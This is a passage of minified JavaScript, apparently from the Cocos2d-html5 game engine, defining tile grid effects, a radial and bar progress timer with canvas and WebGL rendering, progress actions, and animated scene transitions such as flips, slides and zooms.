- e=this.target.grid.eF(),f=c.position;d.F.x+=f.x*e.x;d.F.y+=f.y*e.y;d.O.x+=f.x*e.x;d.O.y+=f.y*e.y;d.N.x+=f.x*e.x;d.N.y+=f.y*e.y;d.L.x+=f.x*e.x;d.L.y+=f.y*e.y;this.Qe(a,d)},A:function(a){b.rc.prototype.A.call(this,a);a=this.Y;this.wj=a.width*a.height;for(var c=this.ui,d=c.length=0;d<this.wj;++d)c[d]=d;this.CG(c,this.wj);for(var c=this.Ge,d=c.length=0,e=b.size(0,0),f=0;f<a.width;++f)for(var g=0;g<a.height;++g)c[d]=new ia,c[d].position=b.d(f,g),c[d].j6=b.d(f,g),e.width=f,e.height=g,c[d].Cs=this.UE(e),
- ++d},update:function(a){for(var c=0,d=this.Y,e=this.Ge,f,g=b.d(0,0),h=0;h<d.width;++h)for(var k=0;k<d.height;++k)g.x=h,g.y=k,f=e[c],f.position.x=f.Cs.width*a,f.position.y=f.Cs.height*a,this.c4(g,f),++c}});b.X5=function(a,c,d){return new b.$H(a,c,d)};b.$H.create=b.X5;
- b.cu=b.rc.extend({Ry:function(a,c){var d=this.Y.width*c,e=this.Y.height*c;return 0==d+e?1:Math.pow((a.width+a.height)/(d+e),6)},JG:function(a){this.Qe(a,this.Wf(a))},IG:function(a){this.Qe(a,new b.ku)},tQ:function(a,c){var d=this.Wf(a),e=this.target.grid.eF();d.F.x+=e.x/2*(1-c);d.F.y+=e.y/2*(1-c);d.O.x-=e.x/2*(1-c);d.O.y+=e.y/2*(1-c);d.N.x+=e.x/2*(1-c);d.N.y-=e.y/2*(1-c);d.L.x-=e.x/2*(1-c);d.L.y-=e.y/2*(1-c);this.Qe(a,d)},update:function(a){for(var c=this.Y,d=b.d(0,0),e=b.size(0,0),f,g=0;g<c.width;++g)for(var h=
- 0;h<c.height;++h)d.x=g,d.y=h,e.width=g,e.height=h,f=this.Ry(e,a),0==f?this.IG(d):1>f?this.tQ(d,f):this.JG(d)}});b.rN=function(a,c){return new b.cu(a,c)};b.cu.create=b.rN;b.hH=b.cu.extend({Ry:function(a,c){return 0==a.width+a.height?1:Math.pow((this.Y.width*(1-c)+this.Y.height*(1-c))/(a.width+a.height),6)}});b.pN=function(a,c){return new b.hH(a,c)};b.hH.create=b.pN;
- b.du=b.cu.extend({Ry:function(a,c){var d=this.Y.height*c;return 0==d?1:Math.pow(a.height/d,6)},tQ:function(a,c){var d=this.Wf(a),e=this.target.grid.eF();d.F.y+=e.y/2*(1-c);d.O.y+=e.y/2*(1-c);d.N.y-=e.y/2*(1-c);d.L.y-=e.y/2*(1-c);this.Qe(a,d)}});b.G0=function(a,c){return new b.du(a,c)};b.du.create=b.G0;b.iH=b.du.extend({Ry:function(a,c){return 0==a.height?1:Math.pow(this.Y.height*(1-c)/a.height,6)}});b.qN=function(a,c){return new b.iH(a,c)};b.iH.create=b.qN;
- b.OI=b.rc.extend({$C:null,wj:0,ui:null,ctor:function(a,c,d){b.ec.prototype.ctor.call(this);this.ui=[];void 0!==c&&this.e(a,c,d)},e:function(a,c,d){return b.rc.prototype.e.call(this,a,c)?(this.$C=d||0,this.ui.length=0,!0):!1},CG:function(a,c){for(var d=c-1;0<=d;d--){var e=0|b.yb()%(d+1),f=a[d];a[d]=a[e];a[e]=f}},JG:function(a){this.Qe(a,this.Wf(a))},IG:function(a){this.Qe(a,new b.ku)},A:function(a){b.rc.prototype.A.call(this,a);this.wj=this.Y.width*this.Y.height;a=this.ui;for(var c=a.length=0;c<this.wj;++c)a[c]=
- c;this.CG(a,this.wj)},update:function(a){a=0|a*this.wj;for(var c=this.Y,d,e=b.d(0,0),f=this.ui,g=0;g<this.wj;g++)d=f[g],e.x=0|d/c.height,e.y=d%(0|c.height),g<a?this.IG(e):this.JG(e)}});b.wQ=function(a,c,d){return new b.OI(a,c,d)};b.OI.create=b.wQ;
- b.ZI=b.rc.extend({jf:0,Za:0,$a:0,ctor:function(a,c,d,e){b.ec.prototype.ctor.call(this);void 0!==e&&this.e(a,c,d,e)},lp:function(){return this.Za},Np:function(a){this.Za=a},Sm:function(){return this.$a},en:function(a){this.$a=a},e:function(a,c,d,e){return b.rc.prototype.e.call(this,a,c)?(this.jf=d,this.Za=e,this.$a=1,!0):!1},update:function(a){for(var c=this.Y,d=this.jf,e=this.Za,f=this.$a,g=b.d(0,0),h,k=0;k<c.width;k++)for(var m=0;m<c.height;m++)g.x=k,g.y=m,h=this.Wf(g),h.F.z=Math.sin(a*Math.PI*d*
- 2+0.01*(h.F.y+h.F.x))*e*f,h.O.z=h.F.z,h.N.z=h.F.z,h.L.z=h.F.z,this.Qe(g,h)}});b.U6=function(a,c,d,e){return new b.ZI(a,c,d,e)};b.ZI.create=b.U6;
- b.nH=b.rc.extend({fj:0,Za:0,$a:0,ctor:function(a,c,d,e){b.ec.prototype.ctor.call(this);void 0!==e&&this.e(a,c,d,e)},lp:function(){return this.Za},Np:function(a){this.Za=a},Sm:function(){return this.$a},en:function(a){this.$a=a},e:function(a,c,d,e){return b.rc.prototype.e.call(this,a,c)?(this.fj=d,this.Za=e,this.$a=1,!0):!1},update:function(a){var c=Math.sin(Math.PI*a*this.fj*2)*this.Za*this.$a;a=Math.sin(Math.PI*(a*this.fj*2+1))*this.Za*this.$a;for(var d=this.Y,e=this.target.grid,f,g=b.d(0,0),h=0;h<
- d.width;h++)for(var k=0;k<d.height;k++)g.x=h,g.y=k,f=e.Wf(g),0==(h+k)%2?(f.F.z+=c,f.O.z+=c,f.N.z+=c,f.L.z+=c):(f.F.z+=a,f.O.z+=a,f.N.z+=a,f.L.z+=a),e.Qe(g,f)}});b.R2=function(a,c,d,e){return new b.nH(a,c,d,e)};b.nH.create=b.R2;
- b.bI=b.rc.extend({FY:0,rs:null,ctor:function(a,c){b.ec.prototype.ctor.call(this);void 0!==c&&this.e(a,c)},e:function(a,c){this.FY=c;return b.rc.prototype.e.call(this,a,b.size(1,c))},update:function(a){for(var c=this.Y,d=this.rs.width,e,f,g=b.d(0,0),h=0;h<c.height;++h)g.y=h,e=this.Wf(g),f=1,0==h%2&&(f=-1),e.F.x+=f*d*a,e.O.x+=f*d*a,e.N.x+=f*d*a,e.L.x+=f*d*a,this.Qe(g,e)},A:function(a){b.rc.prototype.A.call(this,a);this.rs=b.J.Ls()}});b.jQ=function(a,c){return new b.bI(a,c)};b.bI.create=b.jQ;
- b.aI=b.rc.extend({gW:0,rs:null,ctor:function(a,c){b.ec.prototype.ctor.call(this);void 0!==c&&this.e(a,c)},e:function(a,c){this.gW=c;return b.rc.prototype.e.call(this,a,b.size(c,1))},update:function(a){for(var c=this.Y.width,d=this.rs.height,e,f,g=b.d(0,0),h=0;h<c;++h)g.x=h,e=this.Wf(g),f=1,0==h%2&&(f=-1),e.F.y+=f*d*a,e.O.y+=f*d*a,e.N.y+=f*d*a,e.L.y+=f*d*a,this.Qe(g,e)},A:function(a){b.rc.prototype.A.call(this,a);this.rs=b.J.Ls()}});b.iQ=function(a,c){return new b.aI(a,c)};b.aI.create=b.iQ;b.EH=b.Tc.extend({update:function(a){var c=Math.max(0,a-0.25),c=-100-c*c*500,d=+Math.PI/2+-Math.PI/2*Math.sqrt(a);a=Math.sin(d);for(var d=Math.cos(d),e=this.Y,f=b.d(0,0),g=0;g<=e.width;++g)for(var h=0;h<=e.height;++h){f.x=g;f.y=h;var k=this.Gc(f),m=Math.sqrt(k.x*k.x+(k.y-c)*(k.y-c)),p=m*a,q=Math.asin(k.x/m)/a,r=Math.cos(q);k.x=q<=Math.PI?p*Math.sin(q):0;k.y=m+c-p*(1-r)*a;k.z=p*(1-r)*d/7;0.5>k.z&&(k.z=0.5);this.Gd(f,k)}}});b.PF=function(a,c){return new b.EH(a,c)};b.EH.create=b.PF;b.Va=b.m.extend({lc:null,li:0,Wb:null,kh:null,Ml:null,zd:!1,ub:"ProgressTimer",z1:function(){return b.d(this.kh.x,this.kh.y)},n5:function(a){this.kh=b.ZO(a)},R0:function(){return b.d(this.Ml.x,this.Ml.y)},S4:function(a){this.Ml=b.ZO(a)},iF:function(){return this.lc},H1:function(){return this.li},UN:function(){return this.Wb},s5:function(a){this.li!=a&&(this.li=b.Qc(a,0,100),this.OD())},rf:function(){},Uf:function(){return!1},M2:function(){return this.zd},gB:function(a){if(a<b.Va.dI){var c=b.Va.pU;
- return this.zd?b.d(c>>7-(a<<1)&1,c>>7-((a<<1)+1)&1):b.d(c>>(a<<1)+1&1,c>>(a<<1)&1)}return b.d(0,0)},Vv:null,zD:270,zB:270,De:0,rB:!1,cB:null,nd:0,uc:null,hf:null,VD:null,ns:!1,ctor:null,fr:function(a){b.m.prototype.ctor.call(this);this.lc=b.Va.Vh;this.li=0;this.kh=b.d(0,0);this.Ml=b.d(0,0);this.zd=!1;this.Wb=null;this.Vv=b.d(0,0);this.zB=this.zD=270;this.De=0;this.rB=!1;this.cB=b.rect(0,0,0,0);a&&this.HK(a)},gr:function(a){b.m.prototype.ctor.call(this);this.lc=b.Va.Vh;this.li=0;this.kh=b.d(0,0);this.Ml=
- b.d(0,0);this.zd=!1;this.Wb=null;this.VD=b.l.createBuffer();this.nd=0;this.hf=this.uc=null;this.ns=!1;a&&this.IK(a)},nb:function(a){this.Wb.color=a;this.Yb()},Ta:function(a){this.Wb.opacity=a;this.Yb()},Hg:function(){return this.Wb.color},Ig:function(){return this.Wb.opacity},XP:null,$Y:function(a){this.zd!==a&&(this.zd=a)},aZ:function(a){this.zd!==a&&(this.zd=a,this.hf=this.uc=null,this.nd=0)},Ky:null,fZ:function(a){this.Wb!=a&&(this.Wb=a,this.width=this.Wb.width,this.height=this.Wb.height)},gZ:function(a){a&&
- this.Wb!=a&&(this.Wb=a,this.width=a.width,this.height=a.height,this.uc&&(this.hf=this.uc=null,this.nd=0))},xG:null,nZ:function(a){a!==this.lc&&(this.lc=a)},oZ:function(a){a!==this.lc&&(this.uc&&(this.hf=this.uc=null,this.nd=0),this.lc=a)},pG:null,YY:function(a){this.zd!==a&&(this.zd=a)},ZY:function(a){this.zd!==a&&(this.zd=a,this.hf=this.uc=null,this.nd=0)},je:function(a){var c=this.Wb;if(!c)return{fa:0,ga:0};var d=c.quad,e=b.d(d.F.n.fa,d.F.n.ga),d=b.d(d.L.n.fa,d.L.n.ga);c.textureRectRotated&&(c=
- a.x,a.x=a.y,a.y=c);return{fa:e.x*(1-a.x)+d.x*a.x,ga:e.y*(1-a.y)+d.y*a.y}},ke:function(a){if(!this.Wb)return{x:0,y:0};var c=this.Wb.quad,d=b.d(c.F.i.x,c.F.i.y),c=b.d(c.L.i.x,c.L.i.y);return{x:d.x*(1-a.x)+c.x*a.x,y:d.y*(1-a.y)+c.y*a.y}},sO:null,HK:function(a){this.percentage=0;this.anchorY=this.anchorX=0.5;this.lc=b.Va.Vh;this.zd=!1;this.midPoint=b.d(0.5,0.5);this.barChangeRate=b.d(1,1);this.sprite=a;return!0},IK:function(a){this.percentage=0;this.hf=this.uc=null;this.nd=0;this.anchorY=this.anchorX=
- 0.5;this.lc=b.Va.Vh;this.zd=!1;this.midPoint=b.d(0.5,0.5);this.barChangeRate=b.d(1,1);this.sprite=a;this.shaderProgram=b.Hd.nc(b.Vi);return!0},Z:null,Ql:function(a){a=a||b.l;var c=this.Wb;"source"!=c.Xi&&(a.globalCompositeOperation=c.Xi);var d=b.view.ka,e=b.view.La;a.globalAlpha=c.fb/255;var f=c.ia,g=c.Q,h=c.Ib,k=c.xB,m=0|h.x,p=-h.y-f.height,q=c.sm;k.width=f.width*d;k.height=f.height*e;a.save();c.Kb&&(m=-h.x-f.width,a.scale(-1,1));c.Lb&&(p=h.y,a.scale(1,-1));m*=d;p*=e;this.lc==b.Va.Il?(f=this.cB,
- a.beginPath(),a.rect(f.x*d,f.y*e,f.width*d,f.height*e),a.clip(),a.closePath()):this.lc==b.Va.Vh&&(f=this.Vv.x*d,h=this.Vv.y*e,a.beginPath(),a.arc(f,h,this.De*e,Math.PI/180*this.zD,Math.PI/180*this.zB,this.rB),a.lineTo(f,h),a.clip(),a.closePath());c.I&&q.ln?(d=c.I.Oa,c.dr?a.drawImage(d,0,0,q.width,q.height,m,p,k.width,k.height):a.drawImage(d,q.x,q.y,q.width,q.height,m,p,k.width,k.height)):0!==g.width&&(c=this.color,a.fillStyle="rgba("+c.r+","+c.g+","+c.b+",1)",a.fillRect(m,p,g.width*d,g.height*e));
- a.restore();b.Tf()},aj:function(a){a=a||b.l;if(this.uc&&this.Wb){b.Xs(this);var c=this.Wb.Gh();b.Kg(c.src,c.R);b.Ec(b.Jl);b.oe(this.Wb.texture);a.bindBuffer(a.ARRAY_BUFFER,this.VD);this.ns&&(a.bufferData(a.ARRAY_BUFFER,this.hf,a.DYNAMIC_DRAW),this.ns=!1);c=b.ud.BYTES_PER_ELEMENT;a.vertexAttribPointer(b.ob,2,a.FLOAT,!1,c,0);a.vertexAttribPointer(b.ve,4,a.UNSIGNED_BYTE,!0,c,8);a.vertexAttribPointer(b.vd,2,a.FLOAT,!1,c,12);this.lc===b.Va.Vh?a.drawArrays(a.TRIANGLE_FAN,0,this.nd):this.lc==b.Va.Il&&(this.zd?
- (a.drawArrays(a.TRIANGLE_STRIP,0,this.nd/2),a.drawArrays(a.TRIANGLE_STRIP,4,this.nd/2),b.lf++):a.drawArrays(a.TRIANGLE_STRIP,0,this.nd));b.lf++}},PZ:function(){if(this.Wb){var a,c=this.kh;a=this.li/100;var d=2*b.PI*(this.zd?a:1-a),e=b.d(c.x,1),f=b.S3(e,c,d),d=0;if(0==a)f=e,d=0;else if(1==a)f=e,d=4;else{var g=b.NR,h=b.Va.dI;for(a=0;a<=h;++a){var k=(a+(h-1))%h,m=this.gB(a%h),k=this.gB(k);0==a?k=b.bP(m,k,1-c.x):4==a&&(m=b.bP(m,k,1-c.x));var p=b.d(0,0);b.NF(m,k,c,f,p)&&(0!=a&&4!=a||0<=p.x&&1>=p.x)&&0<=
- p.y&&p.y<g&&(g=p.y,d=a)}f=b.Mj(c,b.Ki(b.Ed(f,c),g))}g=!0;this.nd!=d+3&&(g=!1,this.hf=this.uc=null,this.nd=0);if(!this.uc){h=this.nd=d+3;m=b.ud.BYTES_PER_ELEMENT;this.hf=new ArrayBuffer(h*m);k=[];for(a=0;a<h;a++)k[a]=new b.ud(null,null,null,this.hf,a*m);this.uc=k;if(!this.uc){b.log("cc.ProgressTimer._updateRadial() : Not enough memory");return}}this.Yb();h=this.uc;if(!g)for(h[0].n=this.je(c),h[0].i=this.ke(c),h[1].n=this.je(e),h[1].i=this.ke(e),a=0;a<d;a++)c=this.gB(a),h[a+2].n=this.je(c),h[a+2].i=
- this.ke(c);h[this.nd-1].n=this.je(f);h[this.nd-1].i=this.ke(f)}},JZ:function(){if(this.Wb){var a,c=this.li/100,d=this.Ml,d=b.Ki(b.d(1-d.x+c*d.x,1-d.y+c*d.y),0.5),c=b.Ed(this.kh,d),d=b.Mj(this.kh,d);0>c.x&&(d.x+=-c.x,c.x=0);1<d.x&&(c.x-=d.x-1,d.x=1);0>c.y&&(d.y+=-c.y,c.y=0);1<d.y&&(c.y-=d.y-1,d.y=1);if(this.zd){if(!this.uc){this.nd=8;var e=b.ud.BYTES_PER_ELEMENT;this.hf=new ArrayBuffer(8*e);var f=[];for(a=0;8>a;a++)f[a]=new b.ud(null,null,null,this.hf,a*e);f[0].n=this.je(b.d(0,1));f[0].i=this.ke(b.d(0,
- 1));f[1].n=this.je(b.d(0,0));f[1].i=this.ke(b.d(0,0));f[6].n=this.je(b.d(1,1));f[6].i=this.ke(b.d(1,1));f[7].n=this.je(b.d(1,0));f[7].i=this.ke(b.d(1,0));this.uc=f}a=this.uc;a[2].n=this.je(b.d(c.x,d.y));a[2].i=this.ke(b.d(c.x,d.y));a[3].n=this.je(b.d(c.x,c.y));a[3].i=this.ke(b.d(c.x,c.y));a[4].n=this.je(b.d(d.x,d.y));a[4].i=this.ke(b.d(d.x,d.y));a[5].n=this.je(b.d(d.x,c.y));a[5].i=this.ke(b.d(d.x,c.y))}else{if(!this.uc)for(this.nd=4,e=b.ud.BYTES_PER_ELEMENT,this.hf=new ArrayBuffer(4*e),this.uc=[],
- a=0;4>a;a++)this.uc[a]=new b.ud(null,null,null,this.hf,a*e);a=this.uc;a[0].n=this.je(b.d(c.x,d.y));a[0].i=this.ke(b.d(c.x,d.y));a[1].n=this.je(b.d(c.x,c.y));a[1].i=this.ke(b.d(c.x,c.y));a[2].n=this.je(b.d(d.x,d.y));a[2].i=this.ke(b.d(d.x,d.y));a[3].n=this.je(b.d(d.x,c.y));a[3].i=this.ke(b.d(d.x,c.y))}this.Yb()}},Yb:function(){if(this.Wb&&this.uc){for(var a=this.Wb.quad.N.t,c=this.uc,d=0,e=this.nd;d<e;++d)c[d].t=a;this.ns=!0}},OD:null,LZ:function(){var a=this.Wb,c=a.width,d=a.height,e=this.kh;if(this.lc==
- b.Va.Vh){this.De=Math.round(Math.sqrt(c*c+d*d));var f,g=!1,h=this.Vv;h.x=c*e.x;h.y=-d*e.y;this.zd?(f=270,e=270-3.6*this.li):(e=-90,f=-90+3.6*this.li);a.Kb&&(h.x-=2*c*this.kh.x,e=-e-180,f=-f-180,g=!g);a.Lb&&(h.y+=2*d*this.kh.y,g=!g,e=-e,f=-f);this.zD=e;this.zB=f;this.rB=g}else{f=this.Ml;h=this.li/100;g=this.cB;f=b.size(c*(1-f.x),d*(1-f.y));var h=b.size((c-f.width)*h,(d-f.height)*h),h=b.size(f.width+h.width,f.height+h.height),k=b.d(c*e.x,d*e.y);f=k.x-h.width/2;0.5<e.x&&h.width/2>=c-k.x&&(f=c-h.width);
- c=k.y-h.height/2;0.5<e.y&&h.height/2>=d-k.y&&(c=d-h.height);g.x=0;d=1;a.Kb&&(g.x-=h.width,d=-1);0<f&&(g.x+=f*d);g.y=0;d=1;a.Lb&&(g.y+=h.height,d=-1);0<c&&(g.y-=c*d);g.width=h.width;g.height=-h.height}},MZ:function(){var a=this.lc;a===b.Va.Vh?this.PZ():a===b.Va.Il&&this.JZ();this.ns=!0}});n=b.Va.prototype;b.B==b.W?(n.ctor=n.gr,n.XP=n.aZ,n.Ky=n.gZ,n.xG=n.oZ,n.pG=n.ZY,n.sO=n.IK,n.Z=n.aj,n.OD=n.MZ):(n.ctor=n.fr,n.XP=n.$Y,n.Ky=n.fZ,n.xG=n.nZ,n.pG=n.YY,n.sO=n.HK,n.Z=n.Ql,n.OD=b.Va.prototype.LZ);
- b.j(n,"midPoint",n.z1,n.n5);b.j(n,"barChangeRate",n.R0,n.S4);b.j(n,"type",n.iF,n.xG);b.j(n,"percentage",n.H1,n.s5);b.j(n,"sprite",n.UN,n.Ky);b.j(n,"reverseDir",n.M2,n.pG);b.Va.create=function(a){return new b.Va(a)};b.Va.dI=4;b.Va.pU=75;b.Va.Vh=0;b.Va.Il=1;b.Tz=b.v.extend({md:0,Mc:0,ctor:function(a,c){b.v.prototype.ctor.call(this);this.Mc=this.md=0;void 0!==c&&this.e(a,c)},e:function(a,c){return b.v.prototype.e.call(this,a)?(this.md=c,!0):!1},k:function(){var a=new b.Tz;a.e(this.p,this.md);return a},reverse:function(){b.log("cc.ProgressTo.reverse(): reverse hasn't been supported.");return null},A:function(a){b.v.prototype.A.call(this,a);this.Mc=a.percentage;100==this.Mc&&(this.Mc=0)},update:function(a){this.target instanceof b.Va&&(this.target.percentage=
- this.Mc+(this.md-this.Mc)*a)}});b.k4=function(a,c){return new b.Tz(a,c)};b.Tz.create=b.k4;
- b.Sz=b.v.extend({md:0,Mc:0,ctor:function(a,c,d){b.v.prototype.ctor.call(this);this.Mc=this.md=0;void 0!==d&&this.e(a,c,d)},e:function(a,c,d){return b.v.prototype.e.call(this,a)?(this.md=d,this.Mc=c,!0):!1},k:function(){var a=new b.Sz;a.e(this.p,this.Mc,this.md);return a},reverse:function(){return b.VF(this.p,this.md,this.Mc)},A:function(a){b.v.prototype.A.call(this,a)},update:function(a){this.target instanceof b.Va&&(this.target.percentage=this.Mc+(this.md-this.Mc)*a)}});
- b.VF=function(a,c,d){return new b.Sz(a,c,d)};b.Sz.create=b.VF;b.Fq=4208917214;b.r9=0;b.dk=1;b.Au=0;b.q9=1;
- b.ea=b.ck.extend({la:null,bb:null,p:null,ih:!1,SK:!1,ub:"TransitionScene",ctor:function(a,c){b.ck.prototype.ctor.call(this);void 0!==a&&void 0!==c&&this.e(a,c)},SL:function(){this.yQ(this.SL);var a=b.J;this.SK=a.Lk;a.ot(this.la);b.ra.qe(!0);this.bb.visible=!0},pi:function(){this.ih=!0},Z:function(){this.ih?(this.bb.U(),this.la.U()):(this.la.U(),this.bb.U())},aa:function(){b.m.prototype.aa.call(this);b.ra.qe(!1);this.bb.Vf();this.la.aa()},xb:function(){b.m.prototype.xb.call(this);b.ra.qe(!0);this.bb.xb();
- this.la.Nh()},Ke:function(){b.m.prototype.Ke.call(this);this.SK&&this.bb.Ke()},e:function(a,c){if(!c)throw"cc.TransitionScene.initWithDuration(): Argument scene must be non-nil";if(this.ba()){this.p=a;this.xi({x:0,y:0,anchorX:0,anchorY:0});this.la=c;this.bb=b.J.bd;this.bb||(this.bb=b.ck.create(),this.bb.ba());if(this.la==this.bb)throw"cc.TransitionScene.initWithDuration(): Incoming scene must be different from the outgoing scene";this.pi();return!0}return!1},finish:function(){this.la.xi({visible:!0,
- x:0,y:0,scale:1,rotation:0});b.B===b.W&&this.la.Tm().restore();this.bb.xi({visible:!1,x:0,y:0,scale:1,rotation:0});b.B===b.W&&this.bb.Tm().restore();this.yy(this.SL,0)},Ax:function(){this.la.visible=!0;this.bb.visible=!1}});b.ea.create=function(a,c){return new b.ea(a,c)};b.Xe=b.ea.extend({fm:0,ctor:function(a,c,d){b.ea.prototype.ctor.call(this);void 0!=d&&this.e(a,c,d)},e:function(a,c,d){b.ea.prototype.e.call(this,a,c)&&(this.fm=d);return!0}});b.Xe.create=function(a,c,d){return new b.Xe(a,c,d)};
- b.EI=b.ea.extend({ctor:function(a,c){b.ea.prototype.ctor.call(this);c&&this.e(a,c)},aa:function(){b.ea.prototype.aa.call(this);this.la.xi({scale:0.001,anchorX:0.5,anchorY:0.5});this.bb.xi({scale:1,anchorX:0.5,anchorY:0.5});var a=b.Hb(b.Uj(b.yP(this.p/2,0.001),b.bG(this.p/2,720)),b.Ud(this.p/2));this.bb.cb(a);this.la.cb(b.Hb(a.reverse(),b.wc(this.finish,this)))}});b.EI.create=function(a,c){return new b.EI(a,c)};
- b.uI=b.ea.extend({ctor:function(a,c){b.ea.prototype.ctor.call(this);c&&this.e(a,c)},aa:function(){b.ea.prototype.aa.call(this);var a=b.J.ya();this.la.xi({scale:0.5,x:a.width,y:0,anchorX:0.5,anchorY:0.5});this.bb.anchorX=0.5;this.bb.anchorY=0.5;var c=b.AO(this.p/4,b.d(-a.width,0),a.width/4,2),d=b.Og(this.p/4,1),a=b.Og(this.p/4,0.5),a=b.Hb(a,c),c=b.Hb(c,d),d=b.Ud(this.p/2);this.bb.cb(a);this.la.cb(b.Hb(d,c,b.wc(this.finish,this)))}});b.uI.create=function(a,c){return new b.uI(a,c)};
- b.gk=b.ea.extend({ctor:function(a,c){b.ea.prototype.ctor.call(this);c&&this.e(a,c)},aa:function(){b.ea.prototype.aa.call(this);this.Ej();var a=this.action();this.la.cb(b.Hb(this.Qf(a),b.wc(this.finish,this)))},Ej:function(){this.la.T(-b.J.ya().width,0)},action:function(){return b.moveTo(this.p,b.d(0,0))},Qf:function(a){return new b.un(a,2)}});b.gk.create=function(a,c){return new b.gk(a,c)};
- b.wI=b.gk.extend({ctor:function(a,c){b.gk.prototype.ctor.call(this);c&&this.e(a,c)},Ej:function(){this.la.T(b.J.ya().width,0)}});b.wI.create=function(a,c){return new b.wI(a,c)};b.xI=b.gk.extend({ctor:function(a,c){b.gk.prototype.ctor.call(this);c&&this.e(a,c)},Ej:function(){this.la.T(0,b.J.ya().height)}});b.xI.create=function(a,c){return new b.xI(a,c)};b.vI=b.gk.extend({ctor:function(a,c){b.gk.prototype.ctor.call(this);c&&this.e(a,c)},Ej:function(){this.la.T(0,-b.J.ya().height)}});
- b.vI.create=function(a,c){return new b.vI(a,c)};b.Vj=0.5;b.hk=b.ea.extend({ctor:function(a,c){b.ea.prototype.ctor.call(this);c&&this.e(a,c)},pi:function(){this.ih=!1},aa:function(){b.ea.prototype.aa.call(this);this.Ej();var a=this.action(),c=this.action(),a=this.Qf(a),c=b.Hb(this.Qf(c),b.wc(this.finish,this));this.la.cb(a);this.bb.cb(c)},Ej:function(){this.la.T(-b.J.ya().width+b.Vj,0)},action:function(){return b.moveBy(this.p,b.d(b.J.ya().width-b.Vj,0))},Qf:function(a){return new b.tn(a,2)}});
- b.hk.create=function(a,c){return new b.hk(a,c)};b.HI=b.hk.extend({ctor:function(a,c){b.hk.prototype.ctor.call(this);c&&this.e(a,c)},pi:function(){this.ih=!0},Ej:function(){this.la.T(b.J.ya().width-b.Vj,0)},action:function(){return b.moveBy(this.p,b.d(-(b.J.ya().width-b.Vj),0))}});b.HI.create=function(a,c){return new b.HI(a,c)};
- b.GI=b.hk.extend({ctor:function(a,c){b.hk.prototype.ctor.call(this);c&&this.e(a,c)},pi:function(){this.ih=!1},Ej:function(){this.la.T(0,-(b.J.ya().height-b.Vj))},action:function(){return b.moveBy(this.p,b.d(0,b.J.ya().height-b.Vj))}});b.GI.create=function(a,c){return new b.GI(a,c)};
- b.II=b.hk.extend({ctor:function(a,c){b.hk.prototype.ctor.call(this);c&&this.e(a,c)},pi:function(){this.ih=!0},Ej:function(){this.la.T(0,b.J.ya().height-b.Vj)},action:function(){return b.moveBy(this.p,b.d(0,-(b.J.ya().height-b.Vj)))}});b.II.create=function(a,c){return new b.II(a,c)};
- b.FI=b.ea.extend({ctor:function(a,c){b.ea.prototype.ctor.call(this);c&&this.e(a,c)},aa:function(){b.ea.prototype.aa.call(this);this.la.xi({scale:0.001,anchorX:2/3,anchorY:0.5});this.bb.xi({scale:1,anchorX:1/3,anchorY:0.5});var a=b.Og(this.p,0.01),c=b.Og(this.p,1);this.la.cb(this.Qf(c));this.bb.cb(b.Hb(this.Qf(a),b.wc(this.finish,this)))},Qf:function(a){return new b.un(a,2)}});b.FI.create=function(a,c){return new b.FI(a,c)};
- b.sI=b.Xe.extend({ctor:function(a,c,d){b.Xe.prototype.ctor.call(this);d=d||b.dk;c&&this.e(a,c,d)},aa:function(){b.ea.prototype.aa.call(this);var a,c;this.la.visible=!1;var d;this.fm===b.dk?(a=90,d=270,c=90):(a=-90,d=90,c=-90);a=b.Hb(b.Ud(this.p/2),b.show(),b.Oh(this.p/2,1,0,d,a,0,0),b.wc(this.finish,this));c=b.Hb(b.Oh(this.p/2,1,0,0,c,0,0),b.xp(),b.Ud(this.p/2));this.la.cb(a);this.bb.cb(c)}});b.sI.create=function(a,c,d){return new b.sI(a,c,d)};
- b.tI=b.Xe.extend({ctor:function(a,c,d){b.Xe.prototype.ctor.call(this);d=d||b.Au;c&&this.e(a,c,d)},aa:function(){b.ea.prototype.aa.call(this);var a,c;this.la.visible=!1;var d;this.fm==b.Au?(a=90,d=270,c=90):(a=-90,d=90,c=-90);a=b.Ve.create(b.rn.create(this.p/2),b.Iq.create(),b.zq.create(this.p/2,1,0,d,a,90,0),b.qn.create(this.finish,this));c=b.Ve.create(b.zq.create(this.p/2,1,0,0,c,90,0),b.uq.create(),b.rn.create(this.p/2));this.la.cb(a);this.bb.cb(c)}});
- b.tI.create=function(a,c,d){return new b.tI(a,c,d)};b.rI=b.Xe.extend({ctor:function(a,c,d){b.Xe.prototype.ctor.call(this);d=d||b.dk;c&&this.e(a,c,d)},aa:function(){b.ea.prototype.aa.call(this);var a,c;this.la.visible=!1;var d;this.fm===b.dk?(a=90,d=270,c=90):(a=-90,d=90,c=-90);a=b.Hb(b.Ud(this.p/2),b.show(),b.Oh(this.p/2,1,0,d,a,-45,0),b.wc(this.finish,this));c=b.Hb(b.Oh(this.p/2,1,0,0,c,45,0),b.xp(),b.Ud(this.p/2));this.la.cb(a);this.bb.cb(c)}});b.rI.create=function(a,c,d){return new b.rI(a,c,d)};
- b.MI=b.Xe.extend({ctor:function(a,c,d){b.Xe.prototype.ctor.call(this);d=d||b.dk;c&&this.e(a,c,d)},aa:function(){b.ea.prototype.aa.call(this);var a,c;this.la.visible=!1;var d;this.fm===b.dk?(a=90,d=270,c=90):(a=-90,d=90,c=-90);a=b.Hb(b.Ud(this.p/2),b.Uj(b.Oh(this.p/2,1,0,d,a,0,0),b.Og(this.p/2,1),b.show()),b.wc(this.finish,this));c=b.Hb(b.Uj(b.Oh(this.p/2,1,0,0,c,0,0),b.Og(this.p/2,0.5)),b.xp(),b.Ud(this.p/2));this.la.scale=0.5;this.la.cb(a);this.bb.cb(c)}});
- b.MI.create=function(a,c,d){return new b.MI(a,c,d)};b.NI=b.Xe.extend({ctor:function(a,c,d){b.Xe.prototype.ctor.call(this);d=d||b.Au;c&&this.e(a,c,d)},aa:function(){b.ea.prototype.aa.call(this);var a,c;this.la.visible=!1;var d;this.fm===b.Au?(a=90,d=270,c=90):(a=-90,d=90,c=-90);a=b.Hb(b.Ud(this.p/2),b.Uj(b.Oh(this.p/2,1,0,d,a,90,0),b.Og(this.p/2,1),b.show()),b.wc(this.finish,this));c=b.Hb(b.Uj(b.Oh(this.p/2,1,0,0,c,90,0),b.Og(this.p/2,0.5)),b.xp(),b.Ud(this.p/2));this.la.scale=0.5;this.la.cb(a);this.bb.cb(c)}});
- b.NI.create=function(a,c,d){return new b.NI(a,c,d)};
